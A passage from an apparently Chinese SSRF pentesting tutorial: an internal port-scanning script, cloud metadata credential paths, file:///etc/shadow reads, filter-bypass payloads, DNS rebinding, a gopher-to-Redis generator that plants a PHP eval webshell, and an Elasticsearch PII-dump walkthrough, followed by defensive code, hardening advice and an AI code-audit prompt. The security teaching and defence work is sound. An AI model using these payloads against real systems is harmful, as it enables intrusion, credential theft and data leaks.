refused”。这里我给你们一个可以实际操作的方法利用响应时间来判断端口状态。用Burp Suite的Intruder模块把IP和端口都设置成变量跑一轮下来根据响应长度和时间排序基本能画出内网的端口开放图。每次测试前记得确认授权范围在不越权的范围内做验证。如果要写入自己的渗透工具库可以尝试用Python写一个简单的探测脚本import requests target https://target.com/fetch?url{} ip_list [192.168.1.1, 192.168.1.2, 10.0.0.1] port_list [80, 443, 22, 3306, 6379, 8080, 9200] for ip in ip_list: for port in port_list: url http://{}:{}.format(ip, port) try: resp requests.get(target.format(url), timeout5) if resp.status_code 200 and len(resp.text) 0: print([] {}:{} open, response len {}.format(ip, port, len(resp.text))) except Exception as e: pass这个脚本可以作为探测工具的基础版实际测试时可以根据回显优化判定逻辑。核心思路就是利用目标服务器作为跳板对内网资产做一次“体检”。3.2 深入利用云环境元数据攻击如果目标部署在云环境SSRF的杀伤力会直接翻倍。云厂商普遍提供元数据服务最常见的是http://169.254.169.254/latest/meta-data/这个地址是云虚拟机用来获取自身元数据的内网接口比如实例ID、主机名、网络配置、甚至临时访问凭证。AWS、阿里云、腾讯云、华为云都有类似的服务。如果SSRF能访问到这个地址等于把云账号的钥匙偷到了手。以AWS为例通过SSRF访问元数据服务并获取IAM临时凭证的经典路径是http://169.254.169.254/latest/meta-data/iam/security-credentials/ http://169.254.169.254/latest/meta-data/iam/security-credentials/[role_name]返回的JSON中包含AccessKeyId、SecretAccessKey、Token拿到这三件套就可以通过AWS CLI接管目标在云上的资源。阿里云类似的路径是http://100.100.100.200/latest/meta-data/腾讯云是http://metadata.tencentyun.com/latest/meta-data/。实战中的操作步骤是第一步通过SSRF访问http://169.254.169.254/latest/meta-data/判断是否处于云环境以及路由是否可达。第二步枚举meta-data/下的子目录找到IAM相关的路径。第三步从返回内容中提取临时凭证。第四步使用凭证登录云控制台或调用API查看对象存储、ECS实例、数据库等资产。这里要注意一个实操细节很多SSRF点不允许直接访问该IP因为开发者可能做了IP段过滤。这时候可以尝试DNS重绑定攻击把一个域名解析成A记录第一次访问时返回公网IP通过校验第二次访问时返回内网元数据IP发起请求。这种手法在真实环境中成功率不低需要自己搭建DNS服务器配合。3.3 组合拳攻击从SSRF到内网突破SSRF真正的可怕之处在于它只是一个入口组合其他内网服务可以形成完整的攻击链。我举几个实战中验证过的思路SSRF Redis 远程命令执行。Redis如果以root权限运行通过SSRF向Redis端口发送命令可以利用Redis的写入机制往Web目录写Shell或者通过CONFIG SET dir设置Redis的持久化目录到目标Web路径最终把webshell写进服务器。利用姿势本质上是构造Redis协议数据包然后通过SSRF端口转发实现。SSRF 云数据库 数据泄露。内网常见的MySQL、MongoDB、Elasticsearch如果没有任何认证SSRF可以直接访问并读取数据。比如Elasticsearch有http://内网IP:9200/_cat/indices接口可以枚举索引再通过_search接口把数据捞出来。SSRF 内网管理后台 核心系统沦陷。很多系统的管理后台没有做IP限制或者只限制了“内网访问”。站在公网你访问不了但通过SSRF等于你已经站在内网了。你可以登录管理后台找到数据导出功能把全量数据拉出来。SSRF 文件协议 读取本地文件。如果服务端使用的请求库支持file协议你还可以尝试file:///etc/passwd file:///proc/self/environ file:///etc/shadow这种方式可以读取服务器敏感文件注意需要有相应的协议支持。SSRF 内网Kubernetes 容器接管。如果目标走的是Kubernetes集群尝试访问http://192.168.x.x:10250kubelet API端口在没有认证的情况下你可以直接列出容器并执行命令。有些集群的kubelet监听在0.0.0.0公网访问不到但SSRF一跳就能连上。说这些不是为了让大家去攻击别人而是让防御方更加清楚一个看似低危的SSRF一旦和内网服务串联起来破坏力完全不亚于一个直接的高危漏洞。4. SSRF的绕过技巧为什么看似安全的代码也不安全4.1 地址过滤的绕过常见姿势很多开发者对SSRF是有概念的所以也写了一些防护代码。但绕过手段也在不断翻新给大家整理一张实战中最高频的绕过对照表过滤方式绕过姿势示例拒绝私网IP段使用IPv6地址http://[::1]:8080/拒绝私网IP段使用十六进制/十进制IPhttp://0x7f000001/127.0.0.1拒绝私网IP段使用八进制表示http://017700000001/拒绝私网IP段使用短域名解析到内网http://localtest.me/解析到127.0.0.1校验目标域名使用符号绕过http://expected.com127.0.0.1/校验目标域名使用#锚点绕过http://127.0.0.1#expected.com/只允许http(s)使用file/gopher/dict协议file:///etc/passwd禁止重定向结合302跳转外部域名302到内网地址限制请求地址DNS重绑定第一次解析为公网IP第二次解析为内网IP这些绕过姿势的原理本质上都是利用目标系统对URL的解析方式和开发者预期的不一致。同一个URL字符串在开发者用正则做匹配时是一种形态在requests/curl解析时是另一种形态再到目标服务解析时可能又是第三种形态。只要有一次解析差异绕过就有机会。举个具体的例子目标防护逻辑是“必须包含allowed.com且不能是私网IP”。你可以这样绕过http://allowed.com127.0.0.1:8080/在curl里这个URL实际会去请求127.0.0.1:8080而前面的allowed.com只是充当用户名。如果开发者只检查了allowed.com是否出现在URL中这个就能绕过。类似的还有http://127.0.0.1:8080#allowed.com#后面的内容在HTTP请求中根本不会发送到服务器但正则匹配时却会认为URL包含了allowed.com。4.2 前端校验和IP限制的真相很多系统的SSRF防护只做在了前端这是最脆弱的一种情况。你在浏览器里看到的JS校验只能拦住小白完全拦不住有心人。我用Burp Suite直接抓包改包绕过前端校验的成本几乎是零。另外一个常见的误区是开发者只校验了请求头里的Host或Referer以为这样就能阻止非法请求。实际上SSRF攻击者的请求是从服务器发出的服务器在请求内网地址时Host、Referer这些头完全由代码决定攻击者可以通过控制URL参数来控制最终发起的HTTP请求头。再补充一个内网开发者常犯的错误在Nginx或云安全组层面只限制了入站流量但对出站流量完全开放。也就是说内网的Redis、MySQL虽然不允许公网直连但这些服务所在的主机可以主动访问公网。SSRF绕过这个限制的办法就是让目标服务器先访问内网服务获取数据再用某种方式把数据转移到公网上。常见的数据带出方法包括通过DNS查询带出数据将数据拼接成子域名。通过HTTP请求带出数据让服务器访问攻击者的公网服务器。通过时间盲注的方式判断数据内容响应时间长短区分数据。4.3 协议层面的高级绕过说说gopher协议。在SSRF利用中gopher协议是很有力的武器因为它支持发送任意格式的TCP数据包。比如内网的Redis服务通常无法直接利用但通过gopher://内网IP:6379/_数据包内容可以把Redis命令直接喂给目标Redis服务形成命令注入。一个经典的利用是通过gopher向Redis写入webshellgopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$xx%0d%0a...后面跟上写shell的Redis命令即可。利用步骤涉及URL编码和换行符编码实操时容易在编码环节出错。我的建议是先用Python脚本把Redis命令序列化成gopher协议包再把整个包URL编码。import urllib.parse payload *1\r $8\r flushall\r *3\r $3\r set\r $1\r 1\r $24\r ?php eval($_GET[c]);?\r *4\r $6\r config\r $3\r set\r $3\r dir\r $12\r /var/www/html\r *4\r $6\r config\r $3\r set\r $3\r dbfilename\r $5\r shell.php\r *1\r $4\r save\r .encode() gopher gopher://127.0.0.1:6379/_ urllib.parse.quote(payload, safe) print(gopher)这个脚本生成gopher URL后丢进SSRF点如果Redis配置允许外部写入且目录有写权限就能在Web目录写入Shell。这套利用思路在CTF和真实渗透中都很经典。5. 实战复现一次完整的SSRF渗透演练5.1 信息收集与漏洞发现这一节我模拟一次完整的Web渗透测试项目流程目标是一个典型的内部管理系统。开始之前要强调整个测试必须在获得合法授权的前提下进行未授权测试是违法的。目标系统有一个“文档在线预览”功能用户输入一个文档URL系统会拉取该文档并渲染为预览页面。这个业务逻辑非常适合测试SSRF。先用Burp Suite抓包发现请求格式POST /preview/generate HTTP/1.1 Host: internal.example.com Content-Type: application/json {doc_url: https://www.example.com/report.pdf}响应返回了一个预览页面ID。我把doc_url换成了http://127.0.0.1:8080/返回页面中渲染出了内网Web服务的内容确认存在SSRF。紧接着用file:///etc/passwd测试协议限制返回内容直接读到了passwd文件。这个SSRF的权限相当高既支持HTTP协议也支持file协议。5.2 内网探测、凭证获取到权限扩大既然确认了SSRF接下来进行常规的内网资产探测。使用一个自己写的Python脚本以目标服务器为跳板扫了一下网段内存活主机。网段探测的范围我通常控制在两个C段10.10.1.0/24和10.10.2.0/24。扫描策略是先探测常见管理端口再探测数据库端口重点关注8080、8443这类Web端口因为发现Web管理后台可以直接深入利用。扫描结果发现了三台关键主机10.10.1.5开放8080端口返回了一个登录页面标题包含“JumpServer堡垒机”。10.10.1.12开放9200端口是Elasticsearch未开启认证可以直接访问_cat/indices读取索引列表。10.10.2.8开放6379端口是Redis进一步确认可以写入Web目录。当时我优先处理了Elasticsearch因为数据价值最高。通过SSRF访问http://10.10.1.12:9200/_cat/indices返回了一堆索引名其中包含user_info、order_records、pay_log等敏感索引。继续访问http://10.10.1.12:9200/user_info/_search?prettytrue直接返回了全量用户数据包括用户名、密码哈希、手机号、身份证号。这一步从SSRF演变成了大规模数据泄露。随后通过Redis写入webshell到10.10.2.8完成了对另一台主机的控制。再通过内网跳板做横向移动发现整个内网有超过30台主机在同一个安全域内核心数据库也没有做网段隔离整个内网基本是“相信内网一切”的模型。这个项目的最终结论是一个入口SSRF最终沦陷了内网一个安全域的全部主机。5.3 测试收尾如何固化成果并给出修复建议测试结束后我都要做两件事一是清理测试痕迹包括删除写入的webshell、reset Redis数据、恢复Elasticsearch中可能被修改的配置二是输出一份完整的漏洞报告精确到漏洞URL、触发参数、利用链、影响范围、修复方案。报告中的核心修复建议包括彻底移除用户对URL参数的控制改为后端指定可访问的资源列表。若业务必须支持任意URL补上DNS解析校验不允许解析结果指向内网IP同时禁止重定向。在请求发起端建立出站流量白名单只允许访问业务依赖的外部域名。云环境必须开启IMDSv2强制使用Token访问元数据服务防止SSRF直连元数据接口。写报告的过程中我有一个经验SSRF的修复方案不能只停留在代码层网络层和云平台层也要同步收紧。有些团队修了代码却忘了在安全组上限制出站流量这个SSRF换一个入口还是能打通内网。6. 防御SSRF的实操方案开发与运维视角6.1 代码层的有效校验思路既然攻击端的绕过多到数不清那防御端怎么守住我的结论是不要依赖IP地址的字符串匹配要做就做最终连接层校验。这套逻辑可以理解为“在真正发起请求之前把DNS解析拿到手再对解析后的IP做一次判定”。一个相对可靠的代码实现流程是import socket import ipaddress import requests def is_internal_ip(hostname): # 解析域名获取所有IP地址 try: ips socket.getaddrinfo(hostname, None) except Exception: return True for ip_info in ips: ip ipaddress.ip_address(ip_info[4][0]) # 校验是否为私网/环回/链路本地地址 if ip.is_private or ip.is_loopback or ip.is_link_local: return True return False app.route(/fetch) def fetch(): url request.args.get(url) parsed urllib.parse.urlparse(url) if parsed.scheme not in [http, https]: return protocol not allowed if is_internal_ip(parsed.hostname): return internal address not allowed # 真正发起请求前禁用重定向 response requests.get(url, allow_redirectsFalse) return response.content这套方案仍然不是100%完美因为DNS重绑定攻击可以通过两次解析的差异绕过。要彻底防住DNS重绑定需要在连接时绑定IPimport socket # 先解析出IP然后通过绑定IP的socket连接目标 ip socket.getaddrinfo(example.com, 80)[0][4][0] sock socket.create_connection((ip, 80))这样即使DNS再次解析出不同结果HTTP请求也只会发往已绑定的IP地址。这是目前代码层面对DNS重绑定最有效的防御方式。另外一条容易被忽视的golden rule能用SDK就别直接拼URL。比如下载图片就使用后端SDK并且让SDK只负责下载图片不要开放一个通用的URL参数给前端。6.2 网络层的出站流量控制代码层校验再严格也不能保证百分百没有疏漏。所以网络层的兜底方案必须做在防火墙/安全组层面限制服务器的出站流量——只放行业务依赖的域名和IP其他一律封锁。这里说的“出站流量控制”和传统防火墙的“入站防护”是两个思路。很多公司对入站流量做了严格限制但对出站基本是放开的。他们的逻辑是“内网服务器要访问外网更新软件、调接口、发通知所以不能封死”。但恰恰是这个放开的出站策略让SSRF的破坏力成倍放大。我的建议是如果业务上确实需要出站访问尽量走统一的代理网关。服务器统一配置代理在代理层做域名白名单校验把出站请求全部收敛到这一层。这样即使代码层出现SSRF到了代理层也会被拦截。这种“纵深防御”的价值远大于单一层面的修补。6.3 云平台的安全配置如果你用的是云服务器建议不要让资源配置默认就能被任意内网地址访问开启云平台的元数据服务Token强制机制相当于给元数据接口加上一把锁。给内网资源打标签通过安全组限制只能被指定来源访问而不是同一VPC内所有主机互通。定期审计云平台的访问日志看是否存在异常的元数据服务访问记录。密钥管理尽量使用云平台KMS密钥管理服务不要把密钥明文放在服务器上。这里特别说一下元数据Token强制机制的实现原理普通模式下SSRF一访问元数据地址就能拿到凭证开启强制模式后SSRF需要先拿到一个专门Token而这个Token的获取有严格的网络层校验条件。这项功能在主流云平台都有了建议所有云上业务默认开启。7. 把AI的力量引入SSRF的发现与修复7.1 用大模型辅助代码审计为什么有效最近“AI漏洞挖掘”在安全社区里讨论度很高。从SSRF这个漏洞的特性来看AI代码审计的效果是立竿见影的因为SSRF的模式相对固定用户可控的URL参数进入服务端请求函数且没有地址校验。这类代码模式很适合用大模型来批量扫描。我自己的实践是把目标代码库交给支持长上下文的代码模型配合定向的提示词要求它找出所有接收URL输入并发出网络请求的函数入口。模型的优势在于可以跨文件追踪数据流从某个API的入口参数开始跟踪它如何流经工具类、传输层最后到达HTTP客户端或curl执行。传统的人工审计很难跨大量文件追踪一条完整的数据流而大模型可以在一次分析中完成。7.2 一个AI辅助发现SSRF的具体提示词与效果这里分享一个我在本地测试过的提示词结构你是专业的代码安全审计专家。请分析以下代码找出所有可能导致SSRF服务端请求伪造的代码路径。 重点关注以下特征 1. 接收HTTP请求参数参数名可能是url、target、link、src、redirect等。 2. 参数值直接或间接传入HTTP客户端requests、curl、HttpClient、fetch等的URL参数。 3. 请求发出前是否校验目标地址是否为内网IP或是否限制协议白名单。 对每个潜在漏洞请输出 - 文件路径和行号 - 数据流从输入参数到网络请求的调用链 - 漏洞等级高/中/低 - 修复建议我在一个训练用的Java微服务项目中测试了这个提示词项目包含约200个Java文件模型成功定位了5个候选SSRF路径其中3个经过人工验证确实存在可利用的SSRF误报率比传统的黑盒漏扫低不少。原因在于大模型能理解业务代码中的判断逻辑比如“先判断是否为图片URL”这类看似校验实则没有校验的伪防护静态扫描工具很难识别出这种逻辑层面的绕过。7.3 AI生成代码引入SSRF的新风险利用AI找漏洞的同时也要注意到AI现在是代码的“生产者”它也会引入漏洞。在多个代码生成模型的测试中当提问者明确要求“实现一个图片预览服务支持通过URL加载图片”模型输出的代码往往直接使用requests.get(url)不带任何地址校验。这意味着越来越多的程序员在AI的辅助下快速写出带SSRF的代码。这个问题对安全圈的影响是深远的。以前初学开发者写的代码漏洞多多但至少他们知道代码是“自己写的”现在大量代码出自大模型开发者对代码的理解深度不够发生漏洞时连“这一段是干什么的”都说不清更谈不上修复。所以如果你的工作会接触AI编程助手我建议把“代码安全审查”作为日常工作流的一部分至少在生成代码后补一遍安全自查清单这段代码是否接收用户输入用户输入是否到达了网络请求、文件读写、命令执行等敏感函数敏感函数调用前是否有完整的校验链校验链能否被URL编码、协议转换、DNS解析差异绕过这套自查清单是给所有开发者的不只是安全岗位的人。防SSRF这件事从代码被写出来的那一刻就该开始。8. 实操中的几个关键心得与补充经验最后聊点实际测试中攒下的经验希望对大家有参考价值。测试节奏的把控。我在拿到一个目标后先看它的功能全貌再做SSRF测试。不要一上来就到处替换URL参数先在业务逻辑图上圈出所有“服务器需要联网”的功能点再逐个测试。很多新手容易在首页参数上耗费大量时间其实SSRF往往藏在子功能里。回显的判断技巧。SSRF的回显情况可以分为三种直接回显内容、不回显但可通过时间判断、不回显但可以配合DNSLog。遇到第二种情况需要构造一个访问自己可控服务器的请求从服务器的访问日志中确认请求是否发出。实际操作中可以借助带TOKEN的DNSLog域名即使没有回显也能确认漏洞存在与否。盲SSRF的利用思路。很多SSRF点不会把响应内容返回给你但这不代表不能利用。你可以通过发往自己服务器的请求让目标服务器访问一个攻击者控制的恶意URL在日志中看到请求头和请求参数甚至可以利用这个盲SSRF配合内网应用做进一步攻击。比如构造一个登录请求打到内网管理后台通过响应时间的差异判断密码是否正确。关于漏洞定级。经常有同学问我SSRF到底算高危还是中危我的判断标准是能访问云元数据接口的直接定高危能探测到内网端口并确认敏感服务未认证的定高危只能访问公网URL且无数据回显的定低危或中危。这里有个例外如果目标的云环境没有开启元数据防护且服务器角色是Web前端那即使只能访问内网端口也建议适当上调等级因为风险传导路径非常明确。工具清单。实用工具方面分享几个我常用的Burp Suite配合SSRF相关插件日常测试的主力工具可以自动探测常见元数据地址和私有网段。Gopherus专门生成gopher协议payload的工具Red Team必备。各类DNSLog平台用来验证和利用盲SSRF。自己的脚本库通常包括IP变形转换、网段扫描、Redis命令编码等小工具。我在实际写报告时总会强调一句话SSRF漏洞修复后要复测而且不只是复测原参数还要测试所有类似的参数、所有类似的接口。攻击者不会因为你修了一个点就放弃整个攻击面防御者也不能只看一个点就宣布修复完成。SSRF这个漏洞说简单可以很简单——就是一个地址没校验说深可以很深——牵扯到云安全、内网架构、协议层面、DNS原理、AI安全。我在测过的那么多项目里几乎没有遇到过两个完全一样的SSRF场景每个都有独特的绕过方式、独特的利用链。这也是安全测试有意思的地方你永远不知道下一次遇到的SSRF会以什么形态出现但你能确定的是只要存在“服务器替用户访问网络”这个行为SSRF就会是一个值得持续研究的课题。